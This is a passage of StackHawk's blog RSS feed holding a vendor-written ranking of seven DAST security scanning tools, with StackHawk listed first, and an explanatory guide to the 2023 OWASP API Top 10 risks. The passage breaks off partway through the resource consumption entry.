and security professionals can ensure their APIs are protected against vulnerabilities, paving the way for safer and more resilient API portfolio that includes GraphQL.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[7 Best DAST Tools of 2024]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/dast-tools</guid><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Safeguarding web applications is a top priority for any organization. As businesses increasingly rely on digital platforms, proactively identifying and mitigating security vulnerabilities has become a critical component of managing their security posture. This is where&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt; Dynamic Application Security Testing (DAST)&lt;/u&gt;&lt;/a&gt;comes into play. Selecting the correct tools to augment your existing security measures can have a major impact. &lt;/p&gt;&lt;p&gt;In this article, we’ll highlight the top 8 DAST tools that can elevate your cybersecurity strategy. Whether you’re looking for robust API support, seamless&lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt;&lt;u&gt; CI/CD integration&lt;/u&gt;&lt;/a&gt;, or powerful&lt;a href=&quot;https://www.stackhawk.com/blog/scanning-the-damn-vulnerable-web-app-with-stackhawk/&quot;&gt;&lt;u&gt; vulnerability scanning&lt;/u&gt;&lt;/a&gt;, these tools offer a range of solutions to help secure your applications and protect your business from the ever-evolving threat landscape.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is DAST?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Dynamic Application Security Testing (DAST) is a key approach to identify vulnerabilities in web apps. DAST tools operate by simulating real-world attacks while the applications are running in production. By &lt;b&gt;continuously scanning for vulnerabilities&lt;/b&gt;, DAST security tools detect weaknesses in the application’s defenses and immediately alert the development team for remediation.&lt;/p&gt;&lt;p&gt;As a critical component of any organization&amp;#39;s security stack, DAST helps protect web applications and APIs, ensuring that potential threats are identified and addressed before they can be exploited.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How does a DAST Tool Work?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;DAST tools excel at mimicking real-world attacks by actively probing running applications for vulnerabilities that might otherwise remain hidden.&lt;/p&gt;&lt;p&gt;By sending traffic and testing various inputs, they simulate a real attacker&amp;#39;s approach, revealing weaknesses such as &lt;u&gt;SQL injection&lt;/u&gt; and &lt;u&gt;cross-site scripting&lt;/u&gt;, among other application security vulnerabilities. Their ability to crawl web pages and analyze application behavior without requiring access to source code makes them a versatile and valuable tool for security assessments.&lt;/p&gt;&lt;p&gt;A DAST solution not only facilitates further approaches and internal solutions but also offers comprehensive benefits. The detailed reports generated by DAST tools are instrumental in everything from ensuring regulatory compliance to guiding remediation efforts. Thus, DAST should be considered a comprehensive testing solution, rather than a narrowly focused toolset. Automated tools thrive on data-driven insights, and DAST solutions excel in providing this crucial information.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;DAST vs. SAST&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;DAST (Dynamic Application Security Testing) and SAST (Static Application Security Testing) are two complementary methods used to assess application security. The primary distinction between them is that DAST examines the application from an external perspective during runtime, employing simulated real-world attack vectors focused on the live environment. Conversely, SAST involves analyzing the source code or binaries internally, without executing the application.&lt;/p&gt;&lt;p&gt;Typically, DAST and SAST are conducted at different phases of the software lifecycle: DAST during production and SAST during development. This timing affects their focus areas, with DAST targeting runtime issues like SQL injection and cross-site scripting, while SAST focuses on hardcoded issues and code-level security vulnerabilities.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Benefits of Using DAST Tools&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;DAST&amp;#39;s strength lies in its ability to pinpoint runtime vulnerabilities, simulating real-world attacks to reveal weaknesses that other security solutions might miss. By complementing existing security measures, DAST elevates an organization&amp;#39;s overall security posture and aids in compliance efforts. Keeping this in perspective, let&amp;#39;s examine some benefits that DAST provides.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Vulnerability Identification&lt;/b&gt;: DAST tools identify runtime vulnerabilities, simulate real-world attacks, complement other testing methods (such as static application security testing), improve overall security posture, and aid compliance efforts.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Real-Time Analysis&lt;/b&gt;: DAST tools scrutinize applications in their operational state, identifying vulnerabilities that emerge only when the application is active. This can help detect things like server configuration issues through the identification of potential symptoms.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Technology Agnostic&lt;/b&gt;: DAST is independent of the programming language or technology stack.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;No Source Code Required&lt;/b&gt;: DAST does not require access to an application’s source code.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;CI/CD Integration&lt;/b&gt;: DAST can be integrated into Continuous Integration/Continuous Deployment pipelines.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Key Factors to Consider in DAST Tooling&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Dynamic Application Security Testing (DAST) tools play a crucial role in identifying vulnerabilities by interacting with a running application in real-time. Unlike&lt;a href=&quot;https://www.stackhawk.com/blog/dast-vs-sast/&quot;&gt;&lt;u&gt; Static Application Security Testing (SAST)&lt;/u&gt;&lt;/a&gt;, DAST tools simulate real-world attacks, mimicking an attacker’s approach to uncover security flaws.&lt;/p&gt;&lt;p&gt;By crawling through an application&amp;#39;s web pages and testing various inputs, these tools identify vulnerabilities without needing access to the source code, instead focusing on the application’s behavior and responses. This makes DAST an essential part of securing modern web applications. Below are a few key features that you should keep an eye out for when evaluating DAST tools that you might want to use in your environment:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Continuous scanning and reporting&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Simulated attacks and vulnerability detection&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Integration with development workflows&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Scalability and flexibility&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Support for multiple platforms and technologies&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Customized reporting solutions&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;CXO-friendly dashboards&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Workflow integrations&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Challenges and Limitations of DAST&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;While Dynamic Application Security Testing (DAST) is a powerful tool for uncovering security vulnerabilities, it does have some limitations that users should be aware of. Since DAST requires a fully functional application, it is not typically effective during the early stages of development.&lt;/p&gt;&lt;p&gt;Additionally, like many automated security tools, it may produce false positives or miss certain vulnerabilities altogether. DAST focuses primarily on external, web-facing vulnerabilities and offers limited visibility into the underlying code issues causing them. Below are some of the key challenges to think about when selecting your DAST tooling:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Limited Early Detection&lt;/b&gt;: DAST requires a fully functional version of the application. This creates a &amp;quot;chicken or egg&amp;quot; dilemma, where the question arises: should the testing process precede the completion of the web application, even if the latter is constructed with inherent issues in its core structure? This challenge reflects both a process issue and a conceptual issue with DAST, which can be mitigated through effective iterative lifecycle management and consistent testing routines.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Potential for False Positives/Negatives&lt;/b&gt;: Like any automated vulnerability scanning tool, DAST might produce false positives or overlook certain vulnerabilities. This inherent limitation is common to all automated scanning solutions and necessitates a multi-layered review and awareness strategy to ensure that DAST outputs are interpreted and utilized effectively.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scope of Testing&lt;/b&gt;: DAST is primarily geared towards identifying vulnerabilities present in web interfaces, effectively detecting issues such as cross-site request forgery or insecure server configurations. However, it may not capture vulnerabilities accessible through non-web interfaces or alternative access paths.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Limited Insight into Code Issues&lt;/b&gt;: Operating from an external viewpoint, DAST provides restricted insights into the specific lines of code or lapses in code security that lead to vulnerabilities. These potential vulnerabilities are challenging to identify or translate into comprehensive remediation guidance, prompting providers to explore supplementary scanning tools for those scenarios.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Choosing the Right DAST Tool&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;To make an informed decision, assess your organization&amp;#39;s unique needs, current tools, desired integrations, required features, and the technical proficiency of the team analyzing the outputs from your selected tool(s).&lt;/p&gt;&lt;p&gt;Consider your organization&amp;#39;s unique requirements, such as the applications to be tested and the necessary security level. Develop a deep understanding of your current web servers and their interactions to effectively tailor your DAST strategy.&lt;/p&gt;&lt;p&gt;Evaluate the features and capabilities of various DAST tools, including their ability to integrate with your development workflows and provide customized reporting solutions. It&amp;#39;s important to remember that DAST tools are essentially simulation tools - they can find exploitable vulnerabilities by simulating real-world attacks, but they are best paired with security scans from other toolsets and scanning solutions.&lt;/p&gt;&lt;p&gt;Therefore, an effective DAST should not only detect web application vulnerabilities but also seamlessly communicate these findings to other systems and tools. In essence, DAST tooling needs to be both efficient in detection and excel in integration with other systems.&lt;/p&gt;&lt;p&gt;Finally, consider the reputation and experience of the vendor, as well as the level of support and training they offer.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Top 7 DAST Security Tools for Enhanced Cybersecurity&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When it comes to securing your applications, choosing the right DAST tool can make all the difference. With so many options available, each offering various features and capabilities, it’s important to understand which tools are best suited for your specific needs.&lt;/p&gt;&lt;p&gt;In this section, we’ll explore the top 8 DAST scanners, highlighting their key strengths and how they can enhance your security testing efforts. Whether you’re focused on the ease of integration, advanced reporting, or comprehensive vulnerability coverage, these tools offer a range of solutions designed to protect your applications from evolving threats.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. StackHawk&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Founded with a focus on&lt;a href=&quot;https://www.stackhawk.com/solutions/developer-centric-application-security/&quot;&gt;&lt;u&gt; a developer-friendly approach to DAST&lt;/u&gt;&lt;/a&gt;, StackHawk has quickly become a go-to for teams integrating security into their DevOps workflows. It distinguishes itself with a robust API and an interface that makes it easy for developers to incorporate web application security testing into their routines. On top of this, it is one of the only DAST platforms that support comprehensive API testing for&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-rest-api-testing-tools-and-best-practices-for-success/&quot;&gt;&lt;u&gt; REST&lt;/u&gt;&lt;/a&gt;,&lt;a href=&quot;https://www.stackhawk.com/blog/graphql-security/&quot;&gt;&lt;u&gt; GraphQL&lt;/u&gt;&lt;/a&gt;, SOAP, and&lt;a href=&quot;https://www.stackhawk.com/blog/best-practices-for-grpc-security/&quot;&gt;&lt;u&gt; gRPC-based APIs&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;The platform truly excels with its &lt;b&gt;developer-centric design&lt;/b&gt;, providing robust reporting capabilities that empower developers to easily track and analyze results. Its seamless integration into CI/CD pipelines ensures testing becomes a natural part of the development workflow. The extensive API support is a standout feature, making the platform adaptable to a wide range of modern testing needs, from API testing to complex integrations.&lt;/p&gt;&lt;p&gt;The interface is user-friendly yet designed with technical users in mind. Consequently, individuals without a development background may encounter a slight learning curve. Nevertheless, the platform&amp;#39;s potent features and capacity to streamline testing processes render it an invaluable asset for teams prepared to dedicate the necessary time and resources to become proficient with it.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Invicti&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Invicti, formerly known as Netsparker, is a well-known platform that provides precise vulnerability scanning. It is particularly noted for its Proof-Based Scanning technology, which automatically verifies identified vulnerabilities, thereby saving time and helping to minimize false positives.&lt;/p&gt;&lt;p&gt;Invicti&amp;#39;s advantages lie in its proof-based scanning technology, delivering accuracy that instills confidence in security teams, enabling them to effectively identify and neutralize threats. Its comprehensive scanning capabilities, encompassing everything from vulnerability detection to compliance checks, make it a versatile solution adaptable to a &lt;b&gt;wide range of security needs&lt;/b&gt;. The platform&amp;#39;s scalability and robust features make it an ideal choice for large enterprises grappling with complex security requirements.&lt;/p&gt;&lt;p&gt;While the platform stands out for its robust features and accuracy, but the costs may be prohibitive for smaller organizations with tight budgets. Furthermore, some users have reportedly experienced a cumbersome initial setup process that may require extra time and technical know-how.&lt;/p&gt;&lt;h3&gt;&lt;b&gt; 3. Acunetix&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Acunetix has been a leader in the DAST space—known for its speed and advanced scanning technology. It is adept at handling complex web applications and detecting intricate vulnerabilities, making it a favorite for &lt;b&gt;fast-paced tech environments&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;The core strength of Acunetix lies in its lightning-fast scanning capabilities, ensuring that vulnerabilities are identified and addressed quickly enough to keep pace with development. It excels at uncovering more complex vulnerabilities, providing a level of security that will be required in the face of evolving threats. Furthermore, its user-friendly design helps overcome technical barriers, making it accessible to &lt;b&gt;security professionals and developers alike&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;The platform&amp;#39;s speed and accuracy are notable, but its premium pricing places it in a higher cost bracket that could be challenging for smaller organizations with tight budgets. Additionally, some users have reported a higher-than-desired rate of false positives. This can result in extra investigative work and manual review, leading to frustration as vulnerabilities pile up and valuable time is lost.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;4. BurpSuite&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;BurpSuite by PortSwigger is a comprehensive set of tools for security testing. It&amp;#39;s a blend of automated and manual testing tools, highly valued by security professionals for its &lt;b&gt;depth and flexibility&lt;/b&gt; in penetration testing.&lt;/p&gt;&lt;p&gt;Burp Suite is favored by seasoned engineers and penetration testers for its ability to facilitate comprehensive analyses and reveal concealed vulnerabilities. It also allows users to create proof of concept tests by exploiting potential weaknesses. The platform’s &lt;b&gt;strong community&lt;/b&gt; and extensibility greatly augment its capabilities, promoting a collaborative space where knowledge and tools are freely exchanged. For practitioners involved in both manual and automated penetration testing, Burp Suite shines as an outstanding option, providing the versatility and depth needed for meticulous assessments.&lt;/p&gt;&lt;p&gt;The platform’s comprehensive nature is an asset for experienced users; however, it can be quite overwhelming for beginners trying to navigate its vast array of features. Certain aspects of the platform require&lt;b&gt; in-depth security knowledge&lt;/b&gt; and previous experience with Burp to be leveraged effectively, potentially limiting its accessibility for those new to the field. Despite a somewhat nuanced UI and a wide array of plugins that might challenge beginners, for seasoned professionals seeking a powerful and adaptable tool, the platform’s benefits far outweigh its learning curve.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;5. GitLab&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;GitLab, primarily known for its comprehensive coverage as a DevOps platform,&lt;a href=&quot;https://docs.gitlab.com/ee/user/application_security/dast/&quot;&gt;&lt;u&gt; incorporates DAST&lt;/u&gt;&lt;/a&gt; into its integrated security testing suite. Its one-stop-shop nature appeals to teams looking for cohesive development and security solutions and are already running within the GitLab ecosystem.&lt;/p&gt;&lt;p&gt;Gitlab, as part of its integration into a comprehensive DevOps platform, also offers DAST, acting as a unified toolset that streamlines workflows and enhances collaboration. For teams already leveraging GitLab for development, this integration proves particularly valuable, creating a cohesive environment where &lt;b&gt;security and development seamlessly coexist&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;While the platform&amp;#39;s DAST capabilities provide convenience within the GitLab ecosystem, they may not be as extensive as those found in specialized tools. Moreover, its full potential is realized only by users &lt;b&gt;already committed to the GitLab ecosystem&lt;/b&gt;, limiting its appeal to those in search of a standalone security solution. However, for teams deeply invested in GitLab, the platform&amp;#39;s integration and workflow benefits make it a compelling addition to their security arsenal.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;6. Bright Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Bright Security, formerly NeuraLegion, focuses on automating security testing in the early stages of the software development lifecycle. Offering various approaches to testing, its ease of use and integration capabilities make it a good fit for Agile and DevOps-focused teams.&lt;/p&gt;&lt;p&gt;Bright distinguishes itself with a clear emphasis on &lt;b&gt;early-stage testing automation&lt;/b&gt;, empowering agile teams to seamlessly integrate security into their development workflows. Its user-friendly interface further facilitates adoption, ensuring that developers of all skill levels can readily contribute to security efforts. The platform&amp;#39;s strong integration with CI/CD pipelines adds another layer of efficiency, enabling continuous security testing throughout the development lifecycle.&lt;/p&gt;&lt;p&gt;Bright offers a solid foundation for DAST, but it may lack some of the advanced features found in more established tools. Additionally, as a newer entrant in the market, it may not have the same level of recognition or experienced user base as its more seasoned competitors. However, for organizations prioritizing early-stage testing automation and ease of use within agile environments, Bright presents a compelling option.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;7. Checkmarx&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Checkmarx is a comprehensive application security platform offering a powerful scanning engine and broad integration capabilities. It provides a holistic view of security, ideal for organizations with &lt;b&gt;complex and multifaceted security requirements&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Checkmarx&amp;#39;s secret weapon lies in its powerful scanning engine, capable of uncovering vulnerabilities across vast and intricate codebases. Adding to its merits, extensive integration with a wide array of development tools ensures a seamless fit within existing workflows, promoting security as an integral part of the development process. For large-scale, complex environments, Checkmarx emerges as an ideal solution, offering the robustness and scalability required to maintain a high level of security.&lt;/p&gt;&lt;p&gt;While Checkmarx&amp;#39;s power and versatility are proven assets, its complexity may prove &lt;b&gt;overwhelming &lt;/b&gt;for smaller organizations or those with less extensive security needs. Moreover, harnessing the full potential of Checkmarx (much like with Burp) often necessitates a significant upfront investment in training and setup, potentially presenting a challenge for teams with &lt;i&gt;limited resources or small security teams&lt;/i&gt;. However, for enterprises seeking a comprehensive and robust security solution capable of tackling the most demanding environments, Checkmarx&amp;#39;s strengths far outweigh its initial hurdles.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;As can be seen, each DAST tool comes with its unique set of strengths and challenges. When selecting a DAST tool, organizations need to evaluate how its specific features match their development team&amp;#39;s size, expertise, and security priorities. Considerations such as the types of sensitive data collection, the needs for a graphical user interface versus a command line interface, and even the long-term development timeline for each solution should come into play. The right tool should integrate seamlessly into existing processes, enabling developers to enhance software security effectively.&lt;/p&gt;&lt;p&gt;With that in mind, below is a quick reference chart summarizing the strengths and weaknesses of the solutions we have reviewed:&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;DAST tools are indispensable in a comprehensive security testing strategy by pinpointing vulnerabilities in applications before they become targets for attackers.&lt;/p&gt;&lt;p&gt;Among the leading DAST tools, each offers distinct features and capabilities, catering to the diverse requirements of organizations of all sizes. The key to bolstering your cybersecurity initiatives is selecting an application security testing solution that not only boasts advanced features but also seamlessly integrates with your development processes, aligns with your security objectives, and fits within your budget constraints.&lt;/p&gt;&lt;p&gt;With robust API support and user-friendly tools, StackHawk can help your team find and fix vulnerabilities quickly and efficiently. But don’t just take our word for it; see what others have to say about us:&lt;a href=&quot;https://www.stackhawk.com/blog/stackhawk-named-winner-in-2024-global-infosec-awards-at-rsa-2024/&quot;&gt;&lt;u&gt; StackHawk Secures Top Honor in The 2024 Global Infosec Awards at RSA&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;If you&amp;#39;re looking to enhance your security measures, explore our&lt;a href=&quot;https://www.stackhawk.com/blog/how-does-stackhawk-work/&quot;&gt;&lt;u&gt; detailed guide on how StackHawk works&lt;/u&gt;&lt;/a&gt;. Discover how StackHawk can integrate into your security strategy and begin safeguarding your applications today!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Understanding The 2023 OWASP API Top 10 Security Risks]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/owasp-api-top-10-2023-a-comprehensive-guide</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;p&gt;For many security providers, OWASP is a go-to source. The OWASP Foundation plays a crucial role in identifying critical API-specific security risks, providing guidance to strengthen API security practices. As APIs have become more prevalent and widely adopted, the &lt;a href=&quot;https://owasp.org/API-Security/editions/2023/en/0x11-t10/&quot;&gt;OWASP Top 10 API Security Risks&lt;/a&gt; report - a dedicated list of vulnerabilities to watch out for aimed at those building and maintaining APIs - has become a reference guide for some of the most common missteps and failures across the board.&lt;/p&gt;&lt;p&gt;In this blog, we will dig into the history of OWASP and the Top 10 API Security Risks and how they’ve changed since the &lt;a href=&quot;https://owasp.org/API-Security/editions/2019/en/0x11-t10/&quot;&gt;inaugural report in 2019&lt;/a&gt;. Then, we will take an in-depth look at each of the vulnerabilities listed in the 2023 report, covering what they are, why they are significant, and how to prevent them from occurring.&lt;/p&gt;&lt;p&gt;To kick things off, let’s start by looking at the organization behind the report: OWASP.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is OWASP?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The Open Web Application Security Project (OWASP) is a non-profit organization dedicated to improving software security. If you’ve taken a class in application security or heard anyone talk about it, chances are you’ve heard their name floating around.&lt;/p&gt;&lt;p&gt;Founded in 2001, OWASP operates under an open community model, where security experts, developers, and technologists collaborate to create massive amounts of material on application security. Most of these materials revolve around articles, methodologies, documentation, tools, and technologies in web application security.&lt;/p&gt;&lt;p&gt;OWASP is best known for its OWASP Top 10, a standard awareness document that helps developers and organizations understand the most critical security risks facing web applications. This list, regularly updated based on evolving threats and industry consensus, is a popular guideline for organizations and developers looking to understand and mitigate common security vulnerabilities.&lt;/p&gt;&lt;p&gt;OWASP&amp;#39;s resources are designed to be accessible and beneficial for various stakeholders in the software development and security fields, promoting informed and secure software development practices globally.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is the OWASP Top 10 API Security Risks (2023 Edition)&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Although OWASP is known for its more widely applicable&lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt; Top 10 report&lt;/a&gt;, the &lt;b&gt;OWASP Top 10 API Security Risks&lt;/b&gt; report is a document solely focused on API security. Building on OWASP’s long-standing expertise in web application security, this report specifically addresses the unique challenges and risks associated with Application Programming Interfaces (APIs).&lt;/p&gt;&lt;p&gt;The list identifies and ranks the top ten most critical security risks API developers face today. Developed through industry-wide surveys, expert input, and community feedback, the report offers a comprehensive overview of crucial API vulnerabilities. Vulnerabilities in API security can be exploited to gain access to sensitive data through techniques like Excessive Data Exposure and Mass Assignment. Also included in the top 10 report are real-world examples of each vulnerability and strategies for mitigation.&lt;/p&gt;&lt;p&gt;The first edition of the OWASP Top 10 API Security Risks report was released in 2019. This inaugural edition marked a significant shift in focus towards the unique security challenges presented by APIs. OWASP developed the 2019 report in response to the rapidly increasing use of APIs in modern software development and the corresponding rise in security vulnerabilities related explicitly to APIs.&lt;/p&gt;&lt;p&gt;In June 2023, OWASP issued the first significant update to their initial API Security Top 10 list. Over the four years since its initial release, OWASP has collected data and feedback reflecting the evolving landscape of API security threats and the latest industry practices, applying this learning to a significantly updated Top 10 list. The 2023 edition of the report provides a comprehensive and up-to-date overview of the most critical API security risks - and it provides some critical updates to reflect the ever-changing landscape of API security.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;What Has Changed Since the 2019 Report?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The changes between the OWASP Top 10 API Security Risks reports of 2019 and 2023 reflect the evolving landscape of API security threats and industry practices. Of course, some staples of the list have not changed. The entries on the list that have remained unchanged include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;1 - Broken Object Level Authorization &lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;2 - Broken Authentication&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;5 - Broken Function Level Authorization&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;7 - Security Misconfiguration&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;9 - Improper Assets Management&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Other than these five, which have remained the same, others have changed entirely or been significantly updated. Let’s take a look at the latest updates.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;3 - Excessive Data Exposure (2019) to Broken Object Property Level Authorization (2023)&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;In the 2023 report, OWASP has combined the previously separate 2019 risks of Excessive Data Exposure and Mass Assignment into a new category, Broken Object Property Level Authorization. This reflects how providers have shifted towards a more nuanced approach to authorization, emphasizing the importance of fine-grained access control at the object property level. It addresses vulnerabilities where users access data they shouldn’t, either seeing or updating it, due to inadequate control of object properties.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;4 - Lack of Resources &amp;amp; Rate Limiting (2019) to Unrestricted Resource Consumption (2023)&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The 2023 report renamed this risk to emphasize the broader impact of unregulated resource consumption. This change highlights the critical need to limit API requests to prevent crashes, resource depletion, or high operational costs due to autoscaling.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;6 - Mass Assignment (2019) to Server Side Request Forgery (SSRF) (2023)&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;SSRF was introduced as a new risk category in 2023, replacing Mass Assignment. The inclusion of SSRF as a top risk reflects the growing concern over attacks where an API is tricked into sending malicious requests to internal systems or servers. This threat is increasingly becoming more common.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;8 - Injection (2019) to Lack of Protection From Automated Threats (2023)&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The 2023 report replaced Injection with a focus on protection against automated threats. This update underscores the importance of defending APIs against automated attacks like bots, scripts, and credential stuffing. The update makes sense as these attacks become more prevalent and damaging without GUI-based defenses like those in web applications.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;10 - Insufficient Logging &amp;amp; Monitoring (2019) to Unsafe Consumption of APIs (2023)&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Lastly, the 2023 report introduced Unsafe Consumption of APIs, replacing the 2019 focus on logging and monitoring. This is spurred by the growing awareness of the risks of unquestioningly trusting data from third-party APIs. It underscores the necessity for rigorous validation of all data received from APIs, acknowledging that even reputable sources can be compromised.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Changes Reflect Complexity&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;These changes in the OWASP report from 2019 to 2023 highlight the massive changes that API developers have experienced in just over four years. These updates align with the increasing complexity and integration of APIs in modern applications, signaling critical areas for security focus and improvement.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Methodology Behind the OWASP API Top 10&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As with any collated list of potential risks, the methodology is as important as the findings. OWASP builds its list through a comprehensive approach, joining data from many sources. While there is plenty of reported data in the form of vulnerability reports and disclosures, OWASP also benefits from a significant open-source contribution from various vendors, consultant groups, bug bounty reports, and organizational efforts. This ultimately results in a list that reflects both the publicly available data and the data typically reserved within closed-source or first-party reporting.&lt;/p&gt;&lt;p&gt;Importantly, OWASP maintains its non-profit and independent status. Although it does benefit from sponsorships, its data is platform and solution agnostic. In other words, if a weakness is present, it is reported. This has made the top ten list a trusted source for many providers.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Detailed Explanation of OWASP API Top 10&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Finally, we have arrived at the entire list, updates, and all. In this next section, we will cover all ten vulnerabilities that OWASP has outlined. For each, we will cover what the vulnerability is and a brief example. We will also go over the consequences of not defending against such vulnerabilities, as well as how to prevent them.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Broken Object Level Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This risk involves insufficient authorization checks when an API handles object identifiers, potentially allowing unauthorized access. An example would be if a user manipulates the ID in the URL to access another user&amp;#39;s data. The consequence of having this type of vulnerability exploited is that attackers could gain unauthorized access to data, leading to data breaches and privacy violations. To prevent this type of exploit, you’ll want to implement robust and consistent object-level authorization checks across all API endpoints.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Broken Authentication&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This occurs when authentication mechanisms are implemented incorrectly, potentially allowing attackers to compromise authentication tokens or user identities. An example of this would be if an authentication mechanism will enable attackers to use stolen tokens to impersonate a legitimate user. If broken authentication is in place, this could lead to unauthorized access, data breaches, and account takeovers. To ensure that your APIs don’t succumb to this type of exploit, you should use multi-factor authentication, secure token handling, and regular updates to authentication mechanisms.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Broken Object Property Level Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This risk arises from inadequate or missing authorization checks at the object property level, leading to information exposure or manipulation. For example, this type of exploit happens when an attacker modifies an object property they shouldn&amp;#39;t have access to, like changing the role property from &amp;#39;user&amp;#39; to &amp;#39;admin&amp;#39;. If this vulnerability is exploited within your APIs, you could expect to see unauthorized data manipulation and the risk of information leakage. To prevent this, you should implement fine-grained access control and validate authorization at the property level.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Unrestricted Resource Consumption&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This involves API requests consuming excessive resources, leading to potential service disruption. A typical example of this would be when an attacker sends numerous complex requests to exhaust server resources, causing a denial of service. The apparent consequence of this type of exploit would be a Denial of Service attack, and since more resources are consumed, you could expect increased operational 